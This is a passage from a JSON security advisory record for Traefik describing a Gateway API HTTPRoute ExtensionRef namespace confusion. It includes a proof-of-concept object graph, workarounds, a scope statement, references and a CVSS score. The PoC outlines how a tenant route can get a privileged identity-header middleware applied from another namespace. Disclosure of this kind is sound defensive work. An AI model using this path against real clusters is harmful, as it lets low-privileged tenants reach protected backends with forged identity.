Shape\n\nThe PoC fixture contains the essential object graph:\n\n```text\ntenant-a/HTTPRoute\n  -\u003e backendRef namespace: platform, name: protected-api\n  -\u003e backendRef.filters[].extensionRef: traefik.io/Middleware privileged-auth-header\n\nplatform/ReferenceGrant\n  -\u003e allows tenant-a HTTPRoute to reference platform/protected-api Service only\n\nplatform/protected-api Service\n\nTraefik resolves the ExtensionRef as:\n  platform/privileged-auth-header\n```\n\nIn a real affected deployment, if `platform/privileged-auth-header` sets a\ntrusted identity header, requests sent through the tenant route can reach the\nbackend with that header injected by Traefik.\n\n## Workarounds\n\n- Avoid granting untrusted namespaces permission to attach `HTTPRoute` objects\n  to shared Gateways that route to sensitive backends.\n- Do not place privileged or identity-bearing Traefik `Middleware` objects in\n  namespaces that can be reached by untrusted cross-namespace `HTTPRoute`\n  backend references.\n- Prefer route-local filters and explicitly audit\n  `HTTPRoute.rules[].backendRefs[].filters[].extensionRef` usage.\n- Strip trusted reverse-proxy identity headers at backend application\n  boundaries unless they originate from a dedicated authentication gateway.\n\n## Scope Boundary\n\nExploitation requires low-privileged route-author capability in a Kubernetes\nGateway API deployment. A remote unauthenticated web client without\n`HTTPRoute` authoring capability cannot create the malicious route. If the\nshared Gateway is internet-facing, the final request that triggers the\nunauthorized middleware can be sent over the public network after the route is\ncreated.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-qq9q-x9w4-chhj",
  "modified": "2026-08-05T21:49:19Z",
  "published": "2026-08-05T21:49:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-qq9q-x9w4-chhj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65601"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13462"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/655d6324ab4a1475892a958d4bae389720a67ea9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/traefik-before-namespace-confusion-via-httproute-extensionref"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik Gateway API HTTPRoute BackendRef ExtensionRef Namespace Confusion"
}